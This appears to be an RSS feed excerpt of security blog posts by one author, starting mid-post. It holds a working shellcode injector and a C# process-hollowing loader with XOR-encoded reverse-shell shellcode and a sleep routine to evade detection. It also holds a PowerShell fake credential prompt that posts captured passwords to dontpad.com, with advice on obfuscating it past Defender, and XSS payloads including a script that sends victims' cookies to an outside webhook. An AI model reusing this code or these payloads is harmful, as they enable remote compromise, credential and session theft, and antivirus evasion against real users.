&quot;\\x81\\xe6\\x2d\\x39\\x7e\\xab\\x5f\\x3c\\x22\\xa1\\x5d\\xa7\\x66\\x04&quot;<br>                &quot;\\xd2\\x45\\x62\\x2e\\x24\\x98\\xee\\xb3\\x9b\\xcc\\xaa\\x56\\x86\\x68&quot;<br>                &quot;\\xf1\\x1b\\xed\\xd8\\xa3\\x65\\xab\\x0d\\x3e\\xba\\x4a\\x41\\x62\\x0e&quot;<br>                &quot;\\x24\\xee\\xd7\\xba\\xa8\\x94\\x4e\\x98\\x0d\\x98\\xfb\\x7e\\xd2\\x79&quot;<br>                &quot;\\xe1\\xa5\\x93\\xa9\\x5b\\x1e\\xfa\\x9e\\xeb\\xec\\x6c\\x2f\\xad\\x17&quot;<br>                &quot;\\x02\\x45\\x62\\x0e\\x21\\x56\\xe7\\x91\\x16\\x4c\\xb3\\xa4\\xe5\\x9e&quot;<br>                &quot;\\x6f\\x41\\x10\\xd4\\x23\\xb3\\x93\\xb2\\xad\\x03\\x12\\x73\\xbe\\xa4&quot;<br>                &quot;\\xef\\xa3\\x0e\\xa5\\x9b\\xfb\\x81\\xac\\x2d\\x3e\\x46\\xfb\\x02\\x0d&quot;<br>                &quot;\\xeb\\xad\\x34\\x2f\\xa7\\x09\\x5a\\x3c\\x22\\xad\\xd6\\x3f\\x8a\\xa8&quot;<br>                &quot;\\xf7\\xf2\\x3e\\xa4\\xe5\\xa4\\x67\\x72\\xd5\\x40\\xda\\x25\\x25\\xee&quot;<br>                &quot;\\xde\\xb3\\x9b\\xd7\\xa3\\x65\\x95\\x26\\x94\\xf9\\xcb\\xc5\\xb4\\x13&quot;<br>                &quot;\\xb9\\xe4\\xd6\\xfb\\x6f\\x25\\xb3\\xad\\x3b\\x3e\\x46\\xfb\\x52\\x0d&quot;<br>                &quot;\\xeb\\xad\\x34\\x0d\\x2e\\xa1\\x53\\xb7\\xe0\\xc3\\x63\\x57\\xd1\\x2e&quot;<br>                &quot;\\x45\\x54\\xaa\\x56\\x19\\x09\\x63\\x9a\\xed\\xd8\\xa2\\x13\\xa2\\x8e&quot;<br>                &quot;\\x12\\x04\\xed\\xf2\\xa3\\xed\\xaf\\x2f\\x07\\x3d\\x5a\\x88\\x1d\\x99&quot;<br>                &quot;\\xd8\\x26\\xd1\\x1c\\x4a\\x67\\xeb\\xb5\\x25\\xa0\\xec\\x0b\\xa7\\xaf&quot;<br>                &quot;\\xbd\\x13\\xb9\\x67\\x2e&quot;;<br>    HANDLE processHandle;<br>    HANDLE remoteThread;<br>    PVOID remoteBuffer;<br>        printf(&quot;Injecting to PID: %i&quot;, atoi(argv[1]));<br>    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));<br>    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);<br>    WriteProcessMemory(processHandle, remoteBuffer, shcode, sizeof shcode, NULL);<br>    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);<br>    CloseHandle(processHandle);<br>    return 0;<br>}</pre><p>We added the part of the code that will handle and inject the shellcode into the original and legitmate process. Let’s compile it once more and test it against the VirusTotal to get the results. Here they are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NpWfs2iThlfmNtlOsbSgSg.png" /></figure><h3>“The icing on the cake”</h3><p>We can finally use a technique called <strong><em>Process Hollowing</em></strong>, where a victim process is created in a suspended state, its original process (e.g.: notepad.exe) is carved out from memory, a malicious binary gets written instead and the program state is resumed to execute the injected code. Here we will open a simple reverse shell (payload: windows/x64/shell_reverse_tcp) just to show the execution. The entire code would be like this (C#):</p><pre>using System;<br>using System.Runtime.InteropServices;<br><br>namespace Process_Hollowing<br>{<br>    class Program<br>    {<br>        [DllImport(&quot;kernel32.dll&quot;)]<br>        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref IntPtr lpNumberOfBytesWritten);<br>        [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>        public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);<br>        [DllImport(&quot;kernel32.dll&quot;)]<br>        public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);<br>        [DllImport(&quot;ntdll.dll&quot;)]<br>        public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);<br>        [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>        public static extern uint ResumeThread(IntPtr hThread);<br>        [StructLayout(LayoutKind.Sequential)]<br>        internal struct PROCESS_BASIC_INFORMATION<br>        {<br>            public IntPtr ExitStatus;<br>            public IntPtr PebAddress;<br>            public IntPtr AffinityMask;<br>            public IntPtr BasePriority;<br>            public IntPtr UniquePID;<br>            public IntPtr InheritedFromUniqueProcessId;<br>        }<br>        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]<br>        public struct STARTUPINFO<br>        {<br>            public Int32 cb;<br>            public string lpReserved;<br>            public string lpDesktop;<br>            public string lpTitle;<br>            public Int32 dwX;<br>            public Int32 dwY;<br>            public Int32 dwXSize;<br>            public Int32 dwYSize;<br>            public Int32 dwXCountChars;<br>            public Int32 dwYCountChars;<br>            public Int32 dwFillAttribute;<br>            public Int32 dwFlags;<br>            public Int16 wShowWindow;<br>            public Int16 cbReserved2;<br>            public IntPtr lpReserved2;<br>            public IntPtr hStdInput;<br>            public IntPtr hStdOutput;<br>            public IntPtr hStdError;<br>        }<br>        [StructLayout(LayoutKind.Sequential)]<br>        public struct PROCESS_INFORMATION<br>        {<br>            public IntPtr hProcess;<br>            public IntPtr hThread;<br>            public int dwProcessId;<br>            public int dwThreadId;<br>        }<br>        public static class CreationFlags<br>        {<br>            public const uint SUSPENDED = 0x4;<br>        }<br>        public const int PROCESSBASICINFORMATION = 0;<br>        public static void sleep()<br>        {<br>            var rand = new Random();<br>            uint randTime = (uint)rand.Next(10000, 20000);<br>            double decide = randTime / 1000 - 0.5;<br>            DateTime now = DateTime.Now;<br>            Console.WriteLine(&quot;[*] Sleeping for {0} seconds to evade detections...&quot;, randTime / 1000);<br>            Thread.Sleep((int)randTime);<br>            if (DateTime.Now.Subtract(now).TotalSeconds &lt; decide)<br>            {<br>                return;<br>            }<br>        }<br>        public static void Hollow()<br>        {<br>            PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();<br>            STARTUPINFO startup_info = new STARTUPINFO();<br>            PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();<br>            string path = @&quot;C:\\Windows\\System32\\notepad.exe&quot;;<br>            bool procINIT = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, CreationFlags.SUSPENDED,<br>                IntPtr.Zero, null, ref startup_info, ref proc_info);<br>            if (procINIT == true)<br>            {<br>                Console.WriteLine(&quot;[*] Process create successfully.&quot;);<br>                Console.WriteLine(&quot;[*] Process ID: {0}&quot;, proc_info.dwProcessId);<br>            }<br>            else<br>            {<br>                Console.WriteLine(&quot;[-] Could not create the process.&quot;);<br>            }<br>            //msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.183 LPORT=443 -f csharp EXITFUNC=thread --encrypt xor --encrypt-key z<br>            byte[] buf = new byte[460] {0x86,0x32,0xf9,0x9e,0x8a,0x92,<br>            0xba,0x7a,0x7a,0x7a,0x3b,0x2b,0x3b,0x2a,0x28,0x2b,0x2c,0x32,<br>            0x4b,0xa8,0x1f,0x32,0xf1,0x28,0x1a,0x32,0xf1,0x28,0x62,0x32,<br>            0xf1,0x28,0x5a,0x32,0xf1,0x08,0x2a,0x32,0x75,0xcd,0x30,0x30,<br>            0x37,0x4b,0xb3,0x32,0x4b,0xba,0xd6,0x46,0x1b,0x06,0x78,0x56,<br>            0x5a,0x3b,0xbb,0xb3,0x77,0x3b,0x7b,0xbb,0x98,0x97,0x28,0x3b,<br>            0x2b,0x32,0xf1,0x28,0x5a,0xf1,0x38,0x46,0x32,0x7b,0xaa,0xf1,<br>            0xfa,0xf2,0x7a,0x7a,0x7a,0x32,0xff,0xba,0x0e,0x1d,0x32,0x7b,<br>            0xaa,0x2a,0xf1,0x32,0x62,0x3e,0xf1,0x3a,0x5a,0x33,0x7b,0xaa,<br>            0x99,0x2c,0x32,0x85,0xb3,0x3b,0xf1,0x4e,0xf2,0x32,0x7b,0xac,<br>            0x37,0x4b,0xb3,0x32,0x4b,0xba,0xd6,0x3b,0xbb,0xb3,0x77,0x3b,<br>            0x7b,0xbb,0x42,0x9a,0x0f,0x8b,0x36,0x79,0x36,0x5e,0x72,0x3f,<br>            0x43,0xab,0x0f,0xa2,0x22,0x3e,0xf1,0x3a,0x5e,0x33,0x7b,0xaa,<br>            0x1c,0x3b,0xf1,0x76,0x32,0x3e,0xf1,0x3a,0x66,0x33,0x7b,0xaa,<br>            0x3b,0xf1,0x7e,0xf2,0x32,0x7b,0xaa,0x3b,0x22,0x3b,0x22,0x24,<br>            0x23,0x20,0x3b,0x22,0x3b,0x23,0x3b,0x20,0x32,0xf9,0x96,0x5a,<br>            0x3b,0x28,0x85,0x9a,0x22,0x3b,0x23,0x20,0x32,0xf1,0x68,0x93,<br>            0x2d,0x85,0x85,0x85,0x27,0x33,0xc4,0x0d,0x09,0x48,0x25,0x49,<br>            0x48,0x7a,0x7a,0x3b,0x2c,0x33,0xf3,0x9c,0x32,0xfb,0x96,0xda,<br>            0x7b,0x7a,0x7a,0x33,0xf3,0x9f,0x33,0xc6,0x78,0x7a,0x7b,0xc1,<br>            0xba,0xd2,0x7a,0xcd,0x3b,0x2e,0x33,0xf3,0x9e,0x36,0xf3,0x8b,<br>            0x3b,0xc0,0x36,0x0d,0x5c,0x7d,0x85,0xaf,0x36,0xf3,0x90,0x12,<br>            0x7b,0x7b,0x7a,0x7a,0x23,0x3b,0xc0,0x53,0xfa,0x11,0x7a,0x85,<br>            0xaf,0x2a,0x2a,0x37,0x4b,0xb3,0x37,0x4b,0xba,0x32,0x85,0xba,<br>            0x32,0xf3,0xb8,0x32,0x85,0xba,0x32,0xf3,0xbb,0x3b,0xc0,0x90,<br>            0x75,0xa5,0x9a,0x85,0xaf,0x32,0xf3,0xbd,0x10,0x6a,0x3b,0x22,<br>            0x36,0xf3,0x98,0x32,0xf3,0x83,0x3b,0xc0,0xe3,0xdf,0x0e,0x1b,<br>            0x85,0xaf,0x32,0xfb,0xbe,0x3a,0x78,0x7a,0x7a,0x33,0xc2,0x19,<br>            0x17,0x1e,0x7a,0x7a,0x7a,0x7a,0x7a,0x3b,0x2a,0x3b,0x2a,0x32,<br>            0xf3,0x98,0x2d,0x2d,0x2d,0x37,0x4b,0xba,0x10,0x77,0x23,0x3b,<br>            0x2a,0x98,0x86,0x1c,0xbd,0x3e,0x5e,0x2e,0x7b,0x7b,0x32,0xf7,<br>            0x3e,0x5e,0x62,0xbc,0x7a,0x12,0x32,0xf3,0x9c,0x2c,0x2a,0x3b,<br>            0x2a,0x3b,0x2a,0x3b,0x2a,0x33,0x85,0xba,0x3b,0x2a,0x33,0x85,<br>            0xb2,0x37,0xf3,0xbb,0x36,0xf3,0xbb,0x3b,0xc0,0x03,0xb6,0x45,<br>            0xfc,0x85,0xaf,0x32,0x4b,0xa8,0x32,0x85,0xb0,0xf1,0x74,0x3b,<br>            0xc0,0x72,0xfd,0x67,0x1a,0x85,0xaf,0xc1,0x9a,0x67,0x50,0x70,<br>            0x3b,0xc0,0xdc,0xef,0xc7,0xe7,0x85,0xaf,0x32,0xf9,0xbe,0x52,<br>            0x46,0x7c,0x06,0x70,0xfa,0x81,0x9a,0x0f,0x7f,0xc1,0x3d,0x69,<br>            0x08,0x15,0x10,0x7a,0x23,0x3b,0xf3,0xa0,0x85,0xaf};<br>      <br>            for (int i = 0; i &lt; buf.Length; i++)<br>            {<br>                buf[i] = (byte)(buf[i] ^ (byte)&#39;z&#39;);<br>            }<br>            uint retLength = 0;<br>            IntPtr procHandle = proc_info.hProcess;<br>            IntPtr threadHandle = proc_info.hThread;<br>            ZwQueryInformationProcess(procHandle, PROCESSBASICINFORMATION, ref pbi, (uint)(IntPtr.Size * 6), ref retLength);<br>            IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);<br>            Console.WriteLine(&quot;[*] Image Base Address found: 0x{0}&quot;, imageBaseAddr.ToString(&quot;x&quot;));<br>            byte[] baseAddrBytes = new byte[0x8];<br>            IntPtr lpNumberofBytesRead = IntPtr.Zero;<br>            ReadProcessMemory(procHandle, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out lpNumberofBytesRead);<br>            IntPtr execAddr = (IntPtr)(BitConverter.ToInt64(baseAddrBytes, 0));<br>            byte[] data = new byte[0x200];<br>            ReadProcessMemory(procHandle, execAddr, data, data.Length, out lpNumberofBytesRead);<br>            uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);<br>            Console.WriteLine(&quot;[*] e_lfanew: 0x{0}&quot;, e_lfanew.ToString(&quot;X&quot;));<br>            uint rvaOffset = e_lfanew + 0x28;<br>            uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);<br>            IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva);<br>            Console.WriteLine(&quot;[*] Entrypoint Found: 0x{0}&quot;, entrypointAddr.ToString(&quot;X&quot;));<br>            IntPtr lpNumberOfBytesWritten = IntPtr.Zero;<br>            WriteProcessMemory(procHandle, entrypointAddr, buf, buf.Length, ref lpNumberOfBytesWritten);<br>            Console.WriteLine(&quot;[*] Memory written. Resuming thread...&quot;);<br>            ResumeThread(threadHandle);<br>        }<br>        static void Main(string[] args)<br>        {<br>            sleep();<br>            Hollow();<br>        }<br>    }<br>}</pre><p>Now, we can compile this code and throw the executable file to the VirusTotal and get the detections. Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JCyRotHlb08v-GCHsuDpyg.png" /></figure><p>Finally, we can do the PoC on Windows by executing it with the AV activated. Evidence:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JzWA7r6tshnDZPvvLD_LtQ.png" /></figure><p>As shown above, even with the Windows Defender activated, the shell was able to bypass it and to open a remote connection allowing remote command execution.</p><h3>References</h3><ul><li><a href="https://docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights">Process Security and Access Rights - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread function (processthreadsapi.h) - Win32 apps</a></li><li><a href="https://github.com/m0n0ph1/Process-Hollowing">GitHub - m0n0ph1/Process-Hollowing: Process Hollowing (Malware Technique)</a></li><li><a href="https://www.ired.team/offensive-security/code-injection-process-injection/process-injection">CreateRemoteThread Shellcode Injection | Red Team Notes</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6278924410b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How did I bypass Defender and some more AVs?]]></title>
            <link>https://medium.com/@n4d/how-did-i-bypass-defender-and-some-more-avs-2e915d2dadb0?source=rss-4c40fa51297------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e915d2dadb0</guid>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[n4d]]></dc:creator>
            <pubDate>Wed, 04 Oct 2023 02:57:39 GMT</pubDate>
            <atom:updated>2023-10-05T05:36:52.224Z</atom:updated>
            <content:encoded><![CDATA[<p>First, the most important:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*M93Hdwjo-uslDOMD7yw9oQ.png" /><figcaption>:)</figcaption></figure><h3>Introduction</h3><p>Long story short: it was a freaking mess.</p><p>Anyway. Let’s do it.</p><p>As we know, for any kind of virus to work in the machine you’re testing, you have to bypass the security controls within that. If you don’t, it’s simple, you won’t have a working payload.</p><p>I created a simple application in <em>C#</em> sometime ago that pops up a cmd.exe window and asks for the user’s credentials (username and password). It’s very simple but it’s very likely to be caught by Defender when executed (in some cases tested, also caught while downloading the <em>.exe</em> file by Smart Screen).</p><p>My mission was to bypass the Defender’s security controls and create a fully believeble executable.</p><h3>Some mistakes I’ve made…</h3><p>I wanted to create this section because it was very important to me at the time and I believe it can help you to understand where you have to improve your actions for you to succeed.</p><h4><strong>First: </strong>Trying to obfuscate some Powershell functions and compile them to an executable file (using PS2EXE).</h4><p>Just don’t do it. Nowadays, every call your file makes directly to Powershell can be caught by Defender, even if it is well obfuscated. The obfuscation is not the problem, nor is your function. The AVs and EDRs look for two things major:</p><ol><li>Signature; and</li><li>Behaviour.</li></ol><p>If your code has a call to Powershell and executes some known TTP (Techniques, Tactics, and Procedures) — such as mine had — pop up a cmd.exe asking for the user’s credentials — it will be blocked.</p><p>So, if you are thinking your Powershell code will be very useful alone, I am sorry for you. It will not. Change to C# — you will be bypassing 50% of the security controls using Windows API calls rather than Powershell behaviour.</p><h4>Second: Wanting to give up.</h4><p>I am sorry for you that has an unbreakable mind. I don’t. If you don’t either, count on me when I say: <strong>you have to study just a little bit more</strong>. This task isn’t easy. If it was, anyone could do. Keep learning. It will help you in too many other things after this <em>funny</em> mission.</p><h3>How the heck did I bypassed it then?</h3><p>So, I had the following items in my environment:</p><ol><li><a href="https://www.microsoft.com/pt-br/software-download/windows11">A VM with Windows 11</a> and Defender with full enabled protection;</li><li><a href="https://visualstudio.microsoft.com/pt-br/vs/community/">Visual Studio 2022</a>;</li><li><a href="https://dotnet.microsoft.com/pt-br/download/dotnet/6.0">.NET 6.0</a>;</li><li><a href="https://github.com/weak1337/Alcatraz">Alcatraz</a>.</li></ol><p>I installed my Windows 11 ISO within my VirtualBox (yes, prefer VBox rather than VMware. Live with that.) and refactored my previous Powershell function to a C# code. The C# code was a little bit bigger, but it had the same goal as the Powershell (pop up a <em>cmd.exe</em> window and ask for the user’s credential and send them to <a href="https://dontpad.com/">Dontpad </a>— yeah… I did not say that before, but anyway.</p><p>The Powershell code was something like this:</p><pre>function Send-Credentials-To-Dontpad {<br>    param (<br>        [string] $page,<br>        [string] $content<br>    )<br><br>    $cred = $host.ui.PromptForCredential(&#39;Authentication Required&#39;, &#39;Please enter your credentials:&#39;, &#39;&#39;, &#39;&#39;)<br><br>    if ($cred) {<br>        $credText = &quot;$($cred.UserName):$($cred.GetNetworkCredential().Password)&quot;<br>    }<br>    else {<br>        Write-Host &#39;Authentication failed. Please, try again.&#39;<br>    }<br><br>    $params = &quot;text=$credText&amp;captcha-token-v2=&amp;lastModified=12312312312312&amp;force=false&quot;<br><br>    $dontpadUrl = &quot;https://api.dontpad.com/$page&quot;<br>    $postData = $params<br>    $postDataBytes = [System.Text.Encoding]::UTF8.GetBytes($postData)<br><br>    $request = [System.Net.WebRequest]::Create($dontpadUrl)<br>    $request.Method = &quot;POST&quot;<br>    $request.ContentType = &quot;application/x-www-form-urlencoded&quot;<br>    $request.ContentLength = $postDataBytes.Length<br><br>    $requestStream = $request.GetRequestStream()<br>    $requestStream.Write($postDataBytes, 0, $postDataBytes.Length)<br>    $requestStream.Close()<br><br>    $response = $request.GetResponse()<br>    $timestamp = $response.GetResponseStream()<br>    $timestampReader = [System.IO.StreamReader]::new($timestamp)<br>    $timestampText = $timestampReader.ReadToEnd()<br>    $timestampReader.Close()<br>    $response.Close()<br><br>    Write-Host &#39;Creds sent to dontpad.com!&#39;<br>    Write-Host &quot;Last update timestamp: $timestampText&quot;<br>}<br><br>$page = &quot;{my_page_uri_here}&quot;<br><br>Send-Credentials-To-Dontpad -page $page -content $credText</pre><p>If you run this right inside your Powershell section, it will pop up an “<em>Authentication Required</em>” from an old version of UAC in Windows. But notice that if you compile (with PS2EXE, for example) and click on the <em>.exe</em> compiled file, it will open a Powershell window requesting the credentials.</p><p>It will be something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWRmPDgsT6kZ7oKdzGaO4A.png" /><figcaption>Powershell execution (it’s ugly but it’s working :P)</figcaption></figure><p>Once the user puts its credentials inside the window and hit “<em>enter</em>”, they will be sent to the Dontpad page.</p><p>This is a very cool TTP, actually, but it is already a common behaviour and monitored by AVs and EDRs. Remember: we want to bypass at least the AV.</p><p>So, what do you want to do? Change your approach. Let’s first change the code to C#. I will not put my own version here, but <a href="https://phind.com/">Phind</a> can help you do it. Once your code is working, you’ll have to compile. If you are using Visual Studio, it’s pretty easy to do it:</p><p>Right click on project’s name -&gt; Compile solution.</p><p>You’ll see that a Command Prompt window will pop up asking for the user’s credentials. If you do it right, the credentials will appear in the Dontpad page just as the Powershell script did. But if you transfer your executable file to the VM with Windows 11 running on it and the Defender fully enabled, it will treat your shellcode as a malicious file.</p><p>Why? Because you forgot the <em>icing on the cake</em>!</p><p>We have to obfuscate our shellcode before running in any other machine other than ours. We must use <a href="https://github.com/weak1337/Alcatraz">Alcatraz</a> to do it. You can go to <em>\path\to\Alcatraz\x64\Release</em> and run the file called <strong><em>Alcatraz-gui</em></strong>. Click on “<strong>File</strong>”, then “<strong>Open</strong>” and choose your <em>.exe</em>. Now you can choose the functions to obfuscate and what controls you want to add within the shellcode to be as stealthier as ever. Examble below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*ASEuaEZGNeHfRzze2CJt-w.png" /></figure><p>Once compiled, it will generate another <em>.exe</em> file with the pattern <strong><em>&lt;name_of_original_file&gt;.obf.exe</em></strong> to be different than the not obfuscated version.</p><p>Your application’s folder will be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*kXwKk2eXKhBtDmdzzyY9PA.png" /><figcaption>Both, the original and obfuscated files.</figcaption></figure><p><strong>OH, FORGOT TO SAY</strong>. Please, compile your code to a <a href="https://www.techsoup.org/support/articles-and-how-tos/do-i-need-the-32bit-or-64bit">x64 architecture</a>. Alcatraz only accepts x64.</p><p>Now, you deserve to be happy.</p><p>Remember something important. C# developed programs, once compiled, need to be followed by their DLLs and “<em>runtimeconfig.json</em>” files for a couple of reasons:</p><ol><li>The DLL will carry an important part of the execution. Once executed, <em>.exe</em> files call their DLLs to help them loading some other resources needed; and</li><li>Since C# compiled shellcodes only work in computer that have .NET installed, the <em>runtimeconfig.json</em> file will inform the computer what version that program was developed on.</li></ol><p>What I mean by that? When you, young grasshopper, try to run your malicious payload to bypass AV and EDRs, you must put all the three files together (within the same folder) — <em>.exe</em>, <em>.dll</em>, and <em>runtimeconfig.json</em>.</p><p>My PoC is attached in the video below:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FedbbbrCa0vU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DedbbbrCa0vU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FedbbbrCa0vU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b9c6e19180521235dfb420de073db44b/href">https://medium.com/media/b9c6e19180521235dfb420de073db44b/href</a></iframe><p>Hope you have learned something.</p><p>Also, I will have one more article following this one:</p><ul><li>How to bypass Defender’s Smart Screen with DLL Side Loading</li></ul><p>Thank you guys.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e915d2dadb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2023–2123, CVE-2023–2579 and CVE-2023–4460]]></title>
            <link>https://medium.com/@n4d/cve-2023-2123-cve-2023-2579-and-cve-2023-4460-bef4de79151b?source=rss-4c40fa51297------2</link>
            <guid isPermaLink="false">https://medium.com/p/bef4de79151b</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[n4d]]></dc:creator>
            <pubDate>Sat, 16 Sep 2023 15:05:46 GMT</pubDate>
            <atom:updated>2023-09-16T15:05:46.491Z</atom:updated>
            <content:encoded><![CDATA[<p>How was I able to find three CVEs in only three different days of research?</p><p>Long story short: <strong>I focused on WordPress plugins</strong>. I will dig a little bit more in my response to make you, that do not know what is happening here, understand a bit more about how the things work within the ‘research’ field.</p><h3>Cross-Site Scripting 101 (basics)</h3><p>Cross-Site Scripting or ‘XSS’ attacks are, simply, a type of injection. It occurs when an attacker injects malicious payloads into legitimate websites. Normally, the attacker is able to send a piece of malicious code to a web application. If it uses an end user’s input to generates its output without encoding nor validating it, this could lead to a kind of XSS vulnerability. See the attack flow below to understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*nDvIpfc22VjVYK04T0fDdQ.png" /><figcaption>XSS Attack flow</figcaption></figure><p>So, the attacker inserts a malicious payload into a comment section of a website (“<strong><em>&lt;script&gt;alert(1)&lt;/script&gt;</em></strong>”) and this trigger an alert pop-up when another user enter in the same page where the attacker drop the comment. There were (still are xD) three types of XSS attacks: Reflected (Self-XSS), Stored and DOM-Based XSS. Today they are also known as “Client-Side XSS” and “Server-Side XSS”.</p><p>I did not cover all the parts of a Cross-Site Scripting vulnerability, but I believe we can continue.</p><h3>CVE-2023–2123</h3><p>The first one. So, I was analyzing this WordPress inventory plugin called <em>WP Inventory Manager</em> and I realized something interesting. Once you have had filled the “Reserve this item” form it would show you a message of success. Exactly like the one below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*4oL-u5nPiOgs1LwIjKxK-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*IFwnmxDRPCegq6C1S0Pc1A.png" /></figure><p>And the message was a parameter’s value in the app’s URL. It was something like this:</p><pre>https://example.com/inventory/item1/?display=false&amp;message=Thank you. Your reservation has been submitted</pre><p>When I changed to something like this: <a href="https://example.com/inventory/item1/display=false&amp;message=Thank"><strong><em>https://example.com/inventory/item1/?display=false&amp;message=</em></strong></a><strong><em>&lt;script&gt;alert(1)&lt;/script&gt;</em></strong> it did not work because the plugin had some kind of input validation.</p><p>Then, after some time, I thought I could test for some encoded payloads. I went to <a href="https://urlencoder.org/">https://urlencoder.org</a> and started to encode my payloads and one worked. To trigger the vulnerability I used this payload:</p><pre>https://example.com/inventory/item1/?display=false&amp;message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*ZoUh4f3NFVT1JuWH3pKKEg.png" /></figure><p>But I still could not get the quotation (“”) to work. To do that I thought I could double encode my payload. After some tests, I found one that bypassed the validation:</p><pre>https://example.com/inventory/item1/?display=false&amp;message=%253Cscript%253Ealert%2528%2522pwned%2520by%2520daniloalbuqrque%2522%2529%253C%252Fscript%253E</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*RGV_v1fdHSBrVnRsVY-DiQ.png" /></figure><p>With the double encoded payload bypass, I could use quotes to get a string within the alert pop-up. =)</p><h3>CVE-2023–2579</h3><p>This one was actually pretty similiar to the previous one.</p><p>It was also found inside an inventory plugin called Inventory Press. There was a page to add new items to the inventory as below example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GYs7x69hTXhzvXmxqEJ2Ig.png" /></figure><p>There were some inputs to test for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-xfsavoHXxSOOXtNT_J40g.png" /></figure><p>I tested for this common payload and I get to trigger a possible Stored XSS once I requested the page. Example below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E2bsd4pk0t98DJGJpE9F9w.png" /></figure><p>So, I did a “bonus” test trying to trigger a Stored XSS with my webhook’s link. I did a script to fetch a user’s cookies using my <a href="http://webhook.site/">webhook</a>. I created a new item using the malicious payload as the description:</p><pre>&lt;script&gt;fetch(&#39;https://webhooksite-to-get-the-request&#39;, <br>   {method: &#39;POST&#39;,mode: &#39;no-cors&#39;,body:document.cookie});<br>&lt;/script&gt;</pre><p>Basically, when some user access my item, it would send me its cookies. So, I published the item with the payload…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqwSvbmhIBdtNHGyT2nhPA.png" /></figure><p>… and then…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LzmTOG81Z4GZAA4JX2t88w.png" /></figure><p>… I got what I want.</p><h3>CVE-2023–4460</h3><p>Read the references section below.</p><h3>References</h3><p><strong>CVE-2023–2123</strong>: <a href="https://wpscan.com/vulnerability/44448888-cd5d-482e-859e-123e442ce5c1">WPScan</a>, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2123">Mitre</a> and <a href="https://github.com/daniloalbuqrque/poc-cve-xss-encoded-wp-inventory-manager-plugin">GitHub</a><br><strong>CVE-2023–2579</strong>: <a href="https://wpscan.com/vulnerability/3cfcb8cc-9c4f-409c-934f-9f3f043de6fe">WPScan</a>, <a 